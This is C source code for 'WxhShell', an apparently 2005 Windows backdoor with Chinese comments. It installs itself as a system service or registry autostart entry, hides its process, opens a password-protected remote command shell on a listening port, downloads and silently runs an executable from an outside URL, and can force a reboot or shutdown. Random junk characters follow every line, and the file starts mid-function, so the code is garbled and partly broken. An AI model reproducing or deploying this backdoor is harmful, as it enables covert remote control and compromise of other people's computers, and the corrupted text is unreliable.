    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G|qsJ  
    if(Boot(SHUTDOWN)) -AwkP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -?vVV@W-O^  
    else { *&~ '  
    closesocket(wsh); @P<aTRy,f  
    ExitThread(0); DUb8 HgcV}  
    } /hAy1V6  
    break; (= W u5H  
    } hQaa"U7[  
  // 获取shell synueg  
  case 's': { x| r#  
    CmdShell(wsh); +<fT\Oq#  
    closesocket(wsh); c=33O,_  
    ExitThread(0); Fz2C XC  
    break; Gp2C wyv  
  } K9) |b`E=  
  // 退出 k\A4sj  
  case 'x': { pet q6)g?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vGchKN~_  
    CloseIt(wsh); Ted!*HKlB  
    break; )p[Qj58  
    } &0 SgEUZr  
  // 离开 E=t^I/f)E  
  case 'q': { L | #"Yn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tfw5i,{  
    closesocket(wsh); pd.5  
    WSACleanup(); o_cAelI[!  
    exit(1); B !Z~jT  
    break; AA[?a  
        } \omfWWpK  
  } i:7cdhz  
  } ]s` cn}d  
=H?^G[y  
  // 提示信息 Nzl`mx16  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #=#bv`  
} tD> qHR  
  } D:PrFa  
Wx8n)  
  return; C5=m~  
} L\\'n )  
r=<1*u  
// shell模块句柄 oWBjPsQ  
int CmdShell(SOCKET sock) 0xUn#&A~  
{ z;\,Dt  
STARTUPINFO si; Z._%T$8aJv  
ZeroMemory(&si,sizeof(si)); T 2Gscey  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IY}{1[<N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bM"d$tl$?'  
PROCESS_INFORMATION ProcessInfo; ;9hS_%ldX4  
char cmdline[]="cmd"; q1Ehl S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p)s *Cw  
  return 0; .cs4AWml<  
} ]wEFm;N  
3#Xv))w1  
// 自身启动模式 =/(R_BFna  
int StartFromService(void) -"}nm!j /5  
{ %[BOe4[  
typedef struct r_pZK(G%  
{ M)CQ|P  
  DWORD ExitStatus; A4Tjfc,rx9  
  DWORD PebBaseAddress; +7j7zpw  
  DWORD AffinityMask; c? >;UzM  
  DWORD BasePriority; )No>Q :t  
  ULONG UniqueProcessId; #fq&yjl#A  
  ULONG InheritedFromUniqueProcessId; p`}G" DM  
}   PROCESS_BASIC_INFORMATION; =qS\+  
<UbLds{+Uo  
PROCNTQSIP NtQueryInformationProcess; bkIQ?cl<at  
~--F?KUnL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pW-aX)\DR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W&e}*  
nmClP  
  HANDLE             hProcess; rM)#}eZK!  
  PROCESS_BASIC_INFORMATION pbi; s\q m  
U^&y*gX1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nj+g Sa9  
  if(NULL == hInst ) return 0; t ]P^6jw'  
N==Y]Z$G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $8fJDN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =[YjIWr#o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :F?L,I,K  
!%>(O@~"|  
  if (!NtQueryInformationProcess) return 0; ,XsBm+Q(  
\)2~o N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8WLBq-]G  
  if(!hProcess) return 0; uw{ K&Hxw  
r^;1Sm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Pk )H(,  
(gF{S* `  
  CloseHandle(hProcess); @^,9O92l  
k .W1bF9n6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )CG,Udu  
if(hProcess==NULL) return 0; eI=:z/pd  
ilkN3J  
HMODULE hMod; Y9y'`}+  
char procName[255]; ;f9a0Vs  
unsigned long cbNeeded; AO]1`b:  
U_@Dn[/:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P5oYv  
C*Wyw]:r  
  CloseHandle(hProcess); ?d@zTAI  
4[ =C,5r  
if(strstr(procName,"services")) return 1; // 以服务启动 !.[H !-V.  
RpU.v `  
  return 0; // 注册表启动 l vfplA  
} b^WF R   
zc5>)v LH=  
// 主模块 7>xfQ  
int StartWxhshell(LPSTR lpCmdLine) 6}?5Oy_XF2  
{ >JT^[i8[  
  SOCKET wsl; ]w~ECP(ap  
BOOL val=TRUE; \OK"r-IO  
  int port=0; mEq>{l:  
  struct sockaddr_in door; xs$.EY:k  
yrFl,/8&G  
  if(wscfg.ws_autoins) Install(); YguY5z  
=|_k a8{?  
port=atoi(lpCmdLine); I4MZ JAYk  
}W5~89"  
if(port<=0) port=wscfg.ws_port; fU ^5Dl  
4x?4[J~u[  
  WSADATA data; @%rj1Gn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -[ xbGSj{  
-5<G^AS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i#(+Kxr]>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~A,(D-  
  door.sin_family = AF_INET; :\"g}AX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (n4Uc308  
  door.sin_port = htons(port); {h~<!sEX  
jYnP)xX;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7nk3^$|  
closesocket(wsl); w! ':Ws  
return 1; %QFeQ(b/(  
} XrN]}S$N  
 #-K,,"  
  if(listen(wsl,2) == INVALID_SOCKET) { 8QN/D\uq  
closesocket(wsl); o;'-^ LJ  
return 1; {|R +|ow  
} Zr$D\(hX  
  Wxhshell(wsl); F7U$ 7(I2G  
  WSACleanup(); oZ!+._9  
[A#>G4a<  
return 0; /[>zFYaQ  
Jb]22]  
} PAs.T4Av^  
X A-,  
// 以NT服务方式启动 (V# *}eGy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %oiA'hz;*  
{ K#a_7/!v/  
DWORD   status = 0; vKTCS  
  DWORD   specificError = 0xfffffff; GFgh{'|  
1L<X+,]@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W>m #Mz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a'B 5m]%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s-),Pv|  
  serviceStatus.dwWin32ExitCode     = 0; {#H'K*j{  
  serviceStatus.dwServiceSpecificExitCode = 0; Tizjh&*^  
  serviceStatus.dwCheckPoint       = 0; !E9A=u{  
  serviceStatus.dwWaitHint       = 0; I8LoXY  
f}{Oj-:"CC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m,#Us  
  if (hServiceStatusHandle==0) return; XMm (D!6  
w"A%@<V3Ec  
status = GetLastError(); #5mnSky+s  
  if (status!=NO_ERROR) G-W(giF;NO  
{ 1zc-$B`t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'cvc\=p  
    serviceStatus.dwCheckPoint       = 0; 8M7pc{  
    serviceStatus.dwWaitHint       = 0; J]qx4c  
    serviceStatus.dwWin32ExitCode     = status; U$T (R2@  
    serviceStatus.dwServiceSpecificExitCode = specificError; J_>nn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E?F?)!%  
    return; y<n<uZ;  
  } uqK[p^{  
DK }1T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )*_n/^m  
  serviceStatus.dwCheckPoint       = 0; (Q ~<>  
  serviceStatus.dwWaitHint       = 0; e% .|PZ)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A.(xa+z?  
} i-31Cxb  
FHbw &  
// 处理NT服务事件,比如:启动、停止 L_ 2R3 w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cK H By  
{ BZ>,Qh!J  
switch(fdwControl) n]J;BW& Av  
{ 7g&<ZZo  
case SERVICE_CONTROL_STOP: v#Y9O6g]T  
  serviceStatus.dwWin32ExitCode = 0; ,: 4+hJ<q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _-bEnF+/0  
  serviceStatus.dwCheckPoint   = 0; \C;F5AO  
  serviceStatus.dwWaitHint     = 0; s+E-M=d0e  
  { 0vi\o`**Mj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L+ d4&x  
  } WU<C7   
  return; .GNl31f0  
case SERVICE_CONTROL_PAUSE: Gt5'-Hyo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YlEV@  
  break; :gacP?  
case SERVICE_CONTROL_CONTINUE: t/0h)mL}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y/yg-\/XF  
  break; wNhtw'E8  
case SERVICE_CONTROL_INTERROGATE: u4;#~##  
  break; oEnCe  
}; %!QY:[   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _#rE6./@q  
} |!?`KO{  
`]\:%+-  
// 标准应用程序主函数 8nOent0a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0@*EwI  
{ NlV,] $L1T  
pG9qD2C f  
// 获取操作系统版本 gCc::[}\Y  
OsIsNt=GetOsVer(); /J` ZO$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k4Ub+F  
kmfxk/F}  
  // 从命令行安装 f+j-M|A  
  if(strpbrk(lpCmdLine,"iI")) Install(); BA cnFO  
DqTp*hI  
  // 下载执行文件 E< Ini'od[  
if(wscfg.ws_downexe) { 8.R~Ys*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +^v]d_~w_  
  WinExec(wscfg.ws_filenam,SW_HIDE); |FrZ,(\  
} YsXf+_._  
p:9^46N @  
if(!OsIsNt) { (&t8.7O  
// 如果时win9x,隐藏进程并且设置为注册表启动 WjsE#9D!of  
HideProc(); ;H:+w\?8f$  
StartWxhshell(lpCmdLine); ~G*eJc0S:  
} z Qhc V  
else _|%l) KO  
  if(StartFromService()) N J_#;t#j  
  // 以服务方式启动 p^ojhrr  
  StartServiceCtrlDispatcher(DispatchTable); %h-?ff[  
else {u,yX@F4l  
  // 普通方式启动 \ :D'u<8E  
  StartWxhshell(lpCmdLine); Af%#&r7W  
$2+(|VG4F  
return 0; p swEIa  
} C~#ndl Ij  
1l*O;J9By  
JK@" &  
tfb_K4h6,  
=========================================== voAen&>!  
-3 2?]LN}  
5EqC.g.  
Q!_@Am"h  
c!})%{U  
V)g{ Ew]:  
" yC<[LH  
Cvf^3~ q  
#include <stdio.h> DeTD.)pS  
#include <string.h> t<QSp6n""  
#include <windows.h> #(KE9h%  
#include <winsock2.h> O=LiCSNEV  
#include <winsvc.h> :0)nL  
#include <urlmon.h> '5BM*4,:O  
540,A,>:tb  
#pragma comment (lib, "Ws2_32.lib") auKGm:  
#pragma comment (lib, "urlmon.lib") 5o dtYI%L  
A>dA&'~R  
#define MAX_USER   100 // 最大客户端连接数 hi(u L>\  
#define BUF_SOCK   200 // sock buffer ,\cO>y@  
#define KEY_BUFF   255 // 输入 buffer L% cr `<~  
4$=ATa;x-  
#define REBOOT     0   // 重启 ~^u#Q\KE"  
#define SHUTDOWN   1   // 关机 `LID*uD;_  
P)$q  
#define DEF_PORT   5000 // 监听端口 9/x_p;bI  
9/nS?>11  
#define REG_LEN     16   // 注册表键长度 DKGZm<G>  
#define SVC_LEN     80   // NT服务名长度 Q|`sYm'.  
~>]/1JFz  
// 从dll定义API c[xH:$G?Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k}o*=s>M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [,1\>z|&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )]?"H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KW~fW r8  
STxreW1  
// wxhshell配置信息 iKu~o.yy  
struct WSCFG { zwyK \j  
  int ws_port;         // 监听端口 1-=zSWmyK  
  char ws_passstr[REG_LEN]; // 口令 />i~No#Xm  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5U3 b&0  
  char ws_regname[REG_LEN]; // 注册表键名 ^8#;>+7R  
  char ws_svcname[REG_LEN]; // 服务名 !]-ET7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [$D4U@mRp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ehv*E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0R0j7\{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )G">7cg;t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b2Jgg&?G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bz=B&YR  
JN Ur?+g  
}; \D]H>i$  
'#fwNbD  
// default Wxhshell configuration 50S >`qi2x  
struct WSCFG wscfg={DEF_PORT, pxs#OP  
    "xuhuanlingzhe", w53+k\.  
    1, #CaT0#v  
    "Wxhshell", > $#v\8  
    "Wxhshell", k7\h- yn{  
            "WxhShell Service", qrj:H4#VB  
    "Wrsky Windows CmdShell Service", =[ $zR>o*%  
    "Please Input Your Password: ", ?5>Ep:{+/  
  1, {'QA0K  
  "http://www.wrsky.com/wxhshell.exe", U6pG  
  "Wxhshell.exe" QE.a2 }  
    }; abVz/R/o  
4l6+8/Y  
// 消息定义模块 D\Nhq Vw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c-2##Pf_8O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .-6B6IEI_"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `V;vvHP A  
char *msg_ws_ext="\n\rExit."; <~[ A  
char *msg_ws_end="\n\rQuit."; iYyJq;S   
char *msg_ws_boot="\n\rReboot..."; ~?m vV`30&  
char *msg_ws_poff="\n\rShutdown..."; U#jbii6e  
char *msg_ws_down="\n\rSave to "; 3r)<:4a u&  
z8ox#+l  
char *msg_ws_err="\n\rErr!"; fgg;WXcT ~  
char *msg_ws_ok="\n\rOK!"; tyH*epa nw  
5Z`9L| 3d  
char ExeFile[MAX_PATH]; *W#_W]Tu  
int nUser = 0; YXR%{GUP[  
HANDLE handles[MAX_USER]; %Tn0r|K  
int OsIsNt; ~;f,Ad`Q  
!]W}I  
SERVICE_STATUS       serviceStatus; Ier0F7]I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d0`5zd@S  
RSNukg  
// 函数声明 bOi`JJ^   
int Install(void); `xO9xo#  
int Uninstall(void); jH1!'1s|  
int DownloadFile(char *sURL, SOCKET wsh); N* C"+2  
int Boot(int flag); "v"w ER?  
void HideProc(void); Uv(THxVh  
int GetOsVer(void); !Ol>![  
int Wxhshell(SOCKET wsl); j&G*$/lTO6  
void TalkWithClient(void *cs); oM=Ltxv}  
int CmdShell(SOCKET sock); 6%K,3R-d  
int StartFromService(void); 03iD(,@  
int StartWxhshell(LPSTR lpCmdLine); 0<{+M`G/  
#8!xIy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -N')LY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mgB7l0)b  
LM*#DLadk  
// 数据结构和表定义 v.08,P{b  
SERVICE_TABLE_ENTRY DispatchTable[] = _$+lyea   
{ u |h T1l  
{wscfg.ws_svcname, NTServiceMain}, xp395ub6  
{NULL, NULL} 2qb,bp1$  
}; l3sL!D1u  
^<0azza/(  
// 自我安装 Z;^UY\&X  
int Install(void) ; 7`y##  
{ 9tW=9<E  
  char svExeFile[MAX_PATH]; +v 9@du  
  HKEY key; u0;FQr2  
  strcpy(svExeFile,ExeFile); nyZUf{:  
26Y Y1T\B)  
// 如果是win9x系统,修改注册表设为自启动 %|l^oC+E  
if(!OsIsNt) { IAD_Tck  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2d,q?VH$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AwhXCq|k  
  RegCloseKey(key); D Hkmn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hhTM-D1Ehs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zCdQI  
  RegCloseKey(key); ~aK@M4  
  return 0; n\Z& sc  
    } cxhS*"Ph  
  } TSQ/{=r  
} a *n^(  
else { PYldqY   
lNcXBtwK@#  
// 如果是NT以上系统,安装为系统服务 ('/5#^%R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ncEOz1u  
if (schSCManager!=0) QU/Q5k  
{ -[cl]H)V  
  SC_HANDLE schService = CreateService jP{LMmV  
  ( 9/rX%  
  schSCManager, tL?nO#Qx  
  wscfg.ws_svcname, r-#23iT.~  
  wscfg.ws_svcdisp, mK3U*)A   
  SERVICE_ALL_ACCESS, VU1 ;ZJ E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O]OZt,k(  
  SERVICE_AUTO_START, H7 acT  
  SERVICE_ERROR_NORMAL, E>j*m}b  
  svExeFile, 6e1/h@p\7  
  NULL, ~/hyf]*j  
  NULL, A^PCI*SN[  
  NULL, eMPk k=V  
  NULL, C wKo'PAJ  
  NULL 4}:a"1P"  
  ); eGrC0[SH  
  if (schService!=0) 4%Q8>mEvT  
  { ;~Eb Q  
  CloseServiceHandle(schService); V j\1 HQ  
  CloseServiceHandle(schSCManager); |Uz?i7z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;<Dou7=  
  strcat(svExeFile,wscfg.ws_svcname); :IFTiq5a;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rs$sAa*f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n>F1G MX  
  RegCloseKey(key); Las4ux[_  
  return 0; Dp 0   
    } 9W ng(ef6G  
  } `3!ERQU  
  CloseServiceHandle(schSCManager); eWvL(2`Tx  
} m2[q*k]AtS  
} d[+xLa  
>W,1s  
return 1; Ds|/\cI$%a  
} HFD5* Z~M  
A~ugx~S0  
// 自我卸载 L1"y5HJ  
int Uninstall(void) .d:sQ\k~=  
{ OM!CP'u#{  
  HKEY key; %C*oy$.  
y0vo-)E]-]  
if(!OsIsNt) { >#z*gCO5,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wy5vn?T@  
  RegDeleteValue(key,wscfg.ws_regname); IS0RhtGy/  
  RegCloseKey(key); uX*H2"A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zR2'xE*  
  RegDeleteValue(key,wscfg.ws_regname); 1<_i7.{k  
  RegCloseKey(key); riqvv1Nce  
  return 0; g_Wf3o857J  
  } a%>p"4WL  
} o0Qy?14T-  
} Pb$ep|`u  
else { -R 4 t  
JFVal#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1_ uq46  
if (schSCManager!=0) mc_`:I=  
{ @)mH"u!(7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uGl +"/uDu  
  if (schService!=0) dxlaoyv:  
  { ^YzFEu$  
  if(DeleteService(schService)!=0) { b'`8$;MII  
  CloseServiceHandle(schService); -fu=RR  
  CloseServiceHandle(schSCManager); }0c  
  return 0; 0IoS|P}6a  
  } ?#^(QR|/  
  CloseServiceHandle(schService); *Got  
  } e"^* ~'mJ  
  CloseServiceHandle(schSCManager); Jq)!)={  
} [i24$UT  
}  Z+ [Nco  
b`E'MX_ m  
return 1; Z++JmD1J  
} RWf4Wh?d  
dE2(PQb*P  
// 从指定url下载文件 rk W*C'2fz  
int DownloadFile(char *sURL, SOCKET wsh) c,;-[sn  
{ )}\T~#Q]y  
  HRESULT hr; Q}ho Y  
char seps[]= "/"; %^}3:0G  
char *token; D^P_3 B+  
char *file; 31-%IkX+k  
char myURL[MAX_PATH]; T%K"^4k  
char myFILE[MAX_PATH]; uZ*;%y nQ  
@%@uZqQ4  
strcpy(myURL,sURL); #kT3Sx  
  token=strtok(myURL,seps); +avu&2B  
  while(token!=NULL) 1{R 1:`  
  { g&;:[&% T]  
    file=token; Y( n# =  
  token=strtok(NULL,seps); XEM i~L+  
  } NK'awv),pM  
nE)?P*$3Z  
GetCurrentDirectory(MAX_PATH,myFILE); lCg'K(|"  
strcat(myFILE, "\\"); ?cf9q@eAH  
strcat(myFILE, file); rmutw~nHD  
  send(wsh,myFILE,strlen(myFILE),0); W>0 36  
send(wsh,"...",3,0); C0;c'4(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %{s<h6{R  
  if(hr==S_OK) k_.%(ZE  
return 0; n\&[^Q#b|  
else .0;Z:x_3  
return 1; '"Q;54S**  
S !cc%  
} ;_)&#X,?(  
]Ow A>fb  
// 系统电源模块 )xIk#>)  
int Boot(int flag) %g}ri8  
{ J< BBM.^]  
  HANDLE hToken; hrPm$`  
  TOKEN_PRIVILEGES tkp; Jw?J(ig^  
lpLjfHr  
  if(OsIsNt) { .p&4]6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qc-jOl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n#,|C`2r  
    tkp.PrivilegeCount = 1; w=I8f}(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hzh?w!Ow  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lO>w|=<  
if(flag==REBOOT) { /<)A!Nn+F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .4pWyqU)!  
  return 0; lAz.I  
} }8Tr M0q8  
else { EE5I~k 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,[ &@?  
  return 0; Q.Tn"rE|  
} F Cg{!h  
  } W>+\A"  
  else { sA=WU(4^  
if(flag==REBOOT) { z6#~B&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IY2ca Xu  
  return 0; 7(AB5.O  
}  Ew1> m'  
else { #@Yw]@5M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $TS4YaJ%  
  return 0; VJ;4~WgBz  
} 4`Qu+&4J  
} W3K?K-  
FB3C'!'<)  
return 1; C;#vW FE  
} [=imF^=3Vb  
qB PUB(  
// win9x进程隐藏模块 jC7`_;>=  
void HideProc(void) %_N-~zZ1E  
{ NrPs :`  
T7_i: HU%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /pni_-l*  
  if ( hKernel != NULL ) GF[onfQY7  
  { Y8YNRyc=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }DiMt4!ZC!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n 5h4]u  
    FreeLibrary(hKernel); z/yNFY]i  
  } -:]_DbF  
^\:"o  
return; $|-joY  
} <Uf?7  
nw|ls2   
// 获取操作系统版本 p\T.l <p  
int GetOsVer(void)  >sk vg  
{ 6'+;5M!  
  OSVERSIONINFO winfo; ak]:ir`o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v.Wkz9 w}  
  GetVersionEx(&winfo); T@0\z1,~S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MBZ/Pzl~  
  return 1; >.^/Z/[.L  
  else H<bYm]a%  
  return 0; ;^VLx)q  
} HAJK%zLc  
Q@zD'G >  
// 客户端句柄模块 z.EpRJn  
int Wxhshell(SOCKET wsl) ]Q-*xho  
{ ?QuD:v ck  
  SOCKET wsh; 'o41)p  
  struct sockaddr_in client; iOk^RDG+  
  DWORD myID; eiE36+'>b  
8bT]NvCA  
  while(nUser<MAX_USER) v%8.o%G  
{ _?Q0yVH;,  
  int nSize=sizeof(client); @T>\pP]o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VnqgN  
  if(wsh==INVALID_SOCKET) return 1; imGg3'  
h8#14?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JRfG]u6GU  
if(handles[nUser]==0) .dqV fa  
  closesocket(wsh); -L=aZPW`M  
else #w_cos[I  
  nUser++; ?Ybgzb  
  } GZ xG!r -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V}c3}'_U]  
4#jW}4C{  
  return 0; ,ru2C_LQ  
} OEMYS I%  
Wx~N1+  
// 关闭 socket l\+^.ezD  
void CloseIt(SOCKET wsh) KY}c}*0  
{ 2Fwp\I;  
closesocket(wsh); =QG@{?JTl  
nUser--; SvE3E$*  
ExitThread(0); <0R$yB  
} `x b\)  
]Dj,8tf`H  
// 客户端请求句柄 :xqhPr]e  
void TalkWithClient(void *cs) ,ddoII  
{ _Z9HOl@  
t]dtBt].:  
  SOCKET wsh=(SOCKET)cs; ([vyY}43h  
  char pwd[SVC_LEN]; TV&:`kH  
  char cmd[KEY_BUFF]; Ph{7S43  
char chr[1]; s @AGU/v  
int i,j; ANqWY &f  
ST'eJ5P7!5  
  while (nUser < MAX_USER) { \OR=+\].9  
>ucVrLm,X  
if(wscfg.ws_passstr) { =rH' \7T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !'yCB9]O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e+'PRVc  
  //ZeroMemory(pwd,KEY_BUFF); xLZJ[:gr  
      i=0; }q8 |t3  
  while(i<SVC_LEN) { )Q:.1Hgl  
^t p6G  
  // 设置超时 1#]0\Y(  
  fd_set FdRead; 4gyC?#Ede  
  struct timeval TimeOut; suo;+T=`I  
  FD_ZERO(&FdRead); tsGt,]O30  
  FD_SET(wsh,&FdRead); 'aj97b;lpG  
  TimeOut.tv_sec=8; {lNvKm)w  
  TimeOut.tv_usec=0; c~,OU7[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }02#[vg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aHhr_.>X  
WD`z\{hcom  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); no~Yet+<"  
  pwd=chr[0]; YB;q5[  
  if(chr[0]==0xd || chr[0]==0xa) { WR5@S&fU`  
  pwd=0; y~16o   
  break; $C&y-Hnar  
  } ,}8|[)"  
  i++; whoM$  &  
    } =I(F(AE  
9YMD[H\}V  
  // 如果是非法用户,关闭 socket rzl0*CR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Qir%\*V  
}  Rix|LKk{  
Y.7iKMp(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '3<AzR2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &>jSuvVT  
( vO\h8  
while(1) { /Soc,PjZ  
%1\MW+  
  ZeroMemory(cmd,KEY_BUFF); lMn1e6~K  
Un~ }M/  
      // 自动支持客户端 telnet标准   !@.9>"FU  
  j=0; cPx] :sC  
  while(j<KEY_BUFF) { /V>q(Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3zr95$Mt  
  cmd[j]=chr[0]; v@qU<\Y>  
  if(chr[0]==0xa || chr[0]==0xd) { W`vgH/lSnZ  
  cmd[j]=0; tAi ~i;?  
  break; +VE ] .*T  
  } per$%;5E"  
  j++; Exu5|0AAE  
    } `]T# uP<u  
],?$&  
  // 下载文件 _NwB7@ e  
  if(strstr(cmd,"http://")) { 9/yE\p .  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yJ0q)x sS  
  if(DownloadFile(cmd,wsh)) ^8z~`he=_J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U8||)  +  
  else $2><4~T;|A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I1Jhvyd?$  
  } lx)Bj6  
  else { w>TlM*3D/  
(X{o =co,  
